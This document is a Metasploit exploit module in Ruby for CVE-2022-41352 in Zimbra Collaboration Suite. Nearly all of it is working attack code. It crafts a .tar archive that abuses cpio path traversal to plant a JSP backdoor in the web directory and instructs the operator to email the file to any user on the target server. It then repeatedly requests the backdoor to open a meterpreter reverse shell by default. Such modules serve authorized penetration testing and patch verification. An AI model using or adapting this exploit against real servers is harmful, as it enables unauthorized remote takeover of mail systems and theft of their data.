## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'TAR Path Traversal in Zimbra (CVE-2022-41352)', 'Description' => %q{ This module creates a .tar file that can be emailed to a Zimbra server to exploit CVE-2022-41352. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in the cpio command- line utlity that can extract an arbitrary file to an arbitrary location on a Linux system (CVE-2015-1197). Most Linux distros have chosen not to fix it. This issue is exploitable on Red Hat-based systems (and other hosts without pax installed) running versions: * Zimbra Collaboration Suite 9.0.0 Patch 26 (and earlier) * Zimbra Collaboration Suite 8.8.15 Patch 33 (and earlier) The patch simply makes "pax" a pre-requisite. }, 'Author' => [ 'Alexander Cherepanov', # PoC (in 2015) 'yeak', # Initial report 'Ron Bowes', # Analysis, PoC, and module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-41352'], ['URL', 'https://forums.zimbra.org/viewtopic.php?t=71153&p=306532'], ['URL', 'https://blog.zimbra.com/2022/09/security-update-make-sure-to-install-pax-spax/'], ['URL', 'https://www.openwall.com/lists/oss-security/2015/01/18/7'], ['URL', 'https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html'], ['URL', 'https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis'], ['URL', 'https://attackerkb.com/topics/FdLYrGfAeg/cve-2015-1197/rapid7-analysis'], ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P27'], ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P34'], ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Zimbra Collaboration Suite', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'TARGET_PATH' => '/opt/zimbra/jetty_base/webapps/zimbra/', 'TARGET_FILENAME' => nil, 'DisablePayloadHandler' => false, 'RPORT' => 443, 'SSL' => true }, 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2022-06-28', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'payload.tar']), # Separating the path, filename, and extension allows us to randomize the filename OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (an absolute path - eg, /opt/zimbra/...).']), OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: public/.jsp).']), ] ) register_advanced_options( [ OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (default: random)']), OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]), # Took this from multi/handler OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]), OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ]) ] ) end def exploit print_status('Encoding the payload as .jsp') payload = Msf::Util::EXE.to_jsp(generate_payload_exe) # Small sanity-check if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp') print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?') end # Generate a filename if needed target_filename = datastore['TARGET_FILENAME'] || "public/#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp" symlink_filename = datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..10) # Sanity check - the file shouldn't exist, but we should be able to do requests to the server if datastore['TRIGGER_PAYLOAD'] print_status('Checking the HTTP connection to the target') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_filename) ) unless res fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)') end # Break when the file successfully appears unless res.code == 404 fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}") end end # Create the file begin contents = StringIO.new Rex::Tar::Writer.new(contents) do |t| print_status("Adding symlink to path to .tar file: #{datastore['TARGET_PATH']}") t.add_symlink(symlink_filename, datastore['TARGET_PATH'], 0o755) print_status("Adding target file to the archive: #{target_filename}") t.add_file(File.join(symlink_filename, target_filename), 0o644) do |f| f.write(payload) end end contents.seek(0) tar = contents.read contents.close rescue StandardError => e fail_with(Failure::BadConfig, "Failed to encode .tar file: #{e}") end file_create(tar) print_good('File created! Email the file above to any user on the target Zimbra server') # Bail if they don't want the payload triggered return unless datastore['TRIGGER_PAYLOAD'] register_file_for_cleanup(File.join(datastore['TARGET_PATH'], target_filename)) interval = datastore['CheckInterval'].to_i print_status("Trying to trigger the backdoor @ #{target_filename} every #{interval}s [backgrounding]...") # This loop is mostly from `multi/handler` stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i timeout = datastore['ListenerTimeout'].to_i loop do break if session_created? break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_filename) ) unless res fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload') end # Break when the file successfully appears if res.code == 200 print_good('Successfully triggered the payload') # This should break when we get to session_created? end Rex::ThreadSafe.sleep(interval) end end end